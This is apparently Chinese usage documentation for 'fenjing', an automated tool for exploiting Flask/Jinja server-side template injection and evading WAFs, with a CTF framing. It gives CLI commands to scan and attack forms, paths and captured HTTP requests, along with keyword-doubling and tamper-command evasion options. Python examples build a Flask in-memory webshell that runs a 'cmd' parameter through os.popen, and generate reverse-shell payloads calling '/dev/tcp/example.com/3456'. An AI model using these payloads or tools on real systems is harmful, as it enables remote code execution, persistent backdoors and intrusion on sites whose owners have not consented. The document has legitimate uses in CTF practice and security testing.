webui不支持自定义Headers和Cookie等特性,如果需要更灵活的使用方式请直接使用命令行或者作为库调用
执行python -m fenjing webui
并访问http://127.0.0.1:11451即可
指定host和port:python -m fenjing webui --host '127.0.0.1' --port 1145
扫描网站:python -m fenjing scan --url 'http://xxx.xxx/'
攻击对应的表单:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name
- 也可以指定多个input:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name,email
- 指定攻击成功后执行的命令
- 不指定则进入交互模式
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --exec-cmd 'ls /'
攻击对应的路径:
python -m fenjing crack-path --url 'http://xxx.xxx/hello/'
- 只需要提供路径的前缀即可
从文本文件中读取HTTP请求:
python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000
- 需要提供HTTP请求文件的路径、目标的IP和端口
通用设置
- 指定请求间隔:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --interval 0.1
- 指定请求时使用的UA:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --user-agent 'Aaa/1.1'
- 指定Header:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --header 'Aaa: Bbb' --header 'Ccc: Ddd'
- 指定Cookie:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --cookie 'name1=value1; name2=value2'
- 指定代理:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --proxy 'http://127.0.0.1:7890'
- 指定额外的GET参数:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --extra-params 'a=1&b=2'
- 指定额外的POST参数:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --extra-data 'a=1&b=2'
- 指定分析模式
--detect-mode
:检测模式,可为accurate或fast- 示例:
python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --detect-mode fast
- 在开始尝试触发WAF, 获取WAF页面对应hash时:
- accurate模式会一个接一个地发送尽可能多的payload
- fast模式会将多个payload组合在一起发送,
- 在生成payload时:
- accurate模式会先从最简单的方法试起
- fast模式会先尝试使用复杂但通常更能绕过WAF的方法
- 指定WAF替换危险关键字时的行为:
- 使用
--replaced-keyword-strategy
选项 avoid
: 避免使用会被WAF替换的关键字doubletapping
: 进行双写(如class
变成clclassass
)ignore
: 忽略,认为WAF不会对这些关键字做任何事python -m fenjing crack --url 'http://xxx.xxx' --method GET --inputs name --replaced-keyword-strategy doubletapping
- 使用
- 指定模板渲染环境
- 使用
--environment
选项 flask
: (默认)模板在render_template_string
等flask提供的函数中渲染,此时会使用g
,config
等flask提供的变量生成payloadjinja
: 模板使用jinja内置的Template
编译并渲染,相关代码类似Template(s).render()
,此时避免使用任何普通jinja环境之外提供的变量生成payload
- 使用
- 手动指定waf页面的关键字
- 如果waf页面有正常页面一定不会有的关键字,可以考虑手动填写这个关键字,让脚本轻松检测出waf页面
- 如payload被waf时页面一定会有
WAF
这三个字母,则可以输入--waf-keyword WAF
手动指定
- waf关键字检测功能
- 脚本支持fuzz一部分被waf的关键字,但默认关闭,可以通过
--detect-waf-keywords full
或者--detect-waf-keywords fast
打开
- 脚本支持fuzz一部分被waf的关键字,但默认关闭,可以通过
如果指定了--tamper-cmd
参数,焚靖在每次提交payload时会使用指定的命令打开一个子进程,向这个子进程的标准输入传入payload, 并将子进程的输出作为编码后的结果进行提交。
例如:Linux中有一个命令行程序base64
,它会从输入中读取内容,进行base64编码并输出
我们就可以使用--tamper-cmd 'base64'
指定使用这个命令编码payload
同样道理,--tamper-cmd 'base64|rev'
就是先进行base64编码再将内容反转
也可以使用python来自定义编码方式,例子如下:
先新建一个encoder.py
,写入以下内容:
s = input()
print(s[::-1], end = "") # 将payload反转
然后指定--tamper-cmd 'python encoder.py'
就可以了
crack-request可以实现从文本文件中读取请求并攻击
例如:使用burp suite拦截了这么一个请求
POST /flag HTTP/1.1
Host: xxx.com:45108
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
flag=11111
payload通过POST参数flag
提交,我们需要在payload的前面加上一些字符(比如说aaa
),从而满足题目要求,通过WAF.
这里可以打开记事本将请求复制粘贴到req.txt
中,然后将flag=11111
改成flag=aaaPAYLOAD
,这样,fenjing就会在提交请求的时候将PAYLOAD
换成实际的payload并提交。
改好之后req.txt
长这样
POST /flag HTTP/1.1
Host: xxx.com:45108
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
flag=aaaPAYLOAD
写好req.txt
之后运行python -m fenjing crack-request --host xxx.com --port 45108 --request-file ./req.txt
就可以根据req.txt
攻击xxx.com:45108
了
这里以Flask内存马为例
import fenjing
import requests
# 这个内存马会获取GET参数cmd并执行,然后在header Aaa中返回
payload = """
[
app.view_functions
for app in [ __import__('sys').modules["__main__"].app ]
for c4tchm3 in [
lambda resp: [
resp
for cmd_result in [__import__('os').popen(__import__('__main__').app.jinja_env.globals["request"].args.get("cmd", "id")).read()]
if [
resp.headers.__setitem__("Aaa", __import__("base64").b64encode(cmd_result.encode()).decode()),
print(resp.headers["Aaa"])
]
][0]
]
if [
app.__dict__.update({'_got_first_request':False}),
app.after_request_funcs.setdefault(None, []).append(c4tchm3)
]
]
"""
def waf(s):
return "/" not in s
full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
print("这个payload不会产生回显")
print(payload)
# 生成payload后在这里打上去
r = requests.get("http://127.0.0.1:5000/", params = {
"name": payload
})
print(r.text)
# 然后使用`?cmd=whoami`就可以在header里看到命令执行结果了
也可以这样直接给定表达式而不是给定字符串的值
import fenjing
def waf(s):
return "/" not in s
full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(fenjing.const.EVAL, (fenjing.const.LITERAL, '"1"+"2"'))
if not will_print:
print("这个payload不会产生回显")
print(payload)
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
# config_payload = config_payload(waf)
print(f"{shell_payload=}")
# print(f"{config_payload=}")
比如说如果提交的payload被WAF后,WAF页面含有"BAD"这三个字母,那么可以这么写:
import functools
import time
import requests
from fenjing import exec_cmd_payload
URL = "http://10.137.0.28:5000"
@functools.lru_cache(1000)
def waf(payload: str): # 如果字符串s可以通过waf则返回True, 否则返回False
time.sleep(0.02) # 防止请求发送过多
resp = requests.get(URL, timeout=10, params={"name": payload})
return "BAD" not in resp.text
if __name__ == "__main__":
shell_payload, will_print = exec_cmd_payload(
waf, 'bash -c "bash -i >& /dev/tcp/example.com/3456 0>&1"'
)
if not will_print:
print("这个payload不会产生回显!")
print(f"{shell_payload=}")
比如说你想让生成器学会使用新的变量aaa
,它的值是100,需要在payload的前面加上{%set aaa=0x64%}
,那你只需要这么写
from fenjing.full_payload_gen import FullPayloadGen
from fenjing.const import OS_POPEN_READ
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str): # 这个函数因题目而定
blacklist = [
"00", "1", "3", "5", "7", "9"
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
full_payload_gen = FullPayloadGen(waf)
full_payload_gen.do_prepare()
full_payload_gen.add_context_variable("{%set aaa=0x64%}", {"aaa": 100})
shell_payload, will_print = full_payload_gen.generate(OS_POPEN_READ, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
if not will_print:
print("这个payload不会产生回显")
print(f"{shell_payload=}")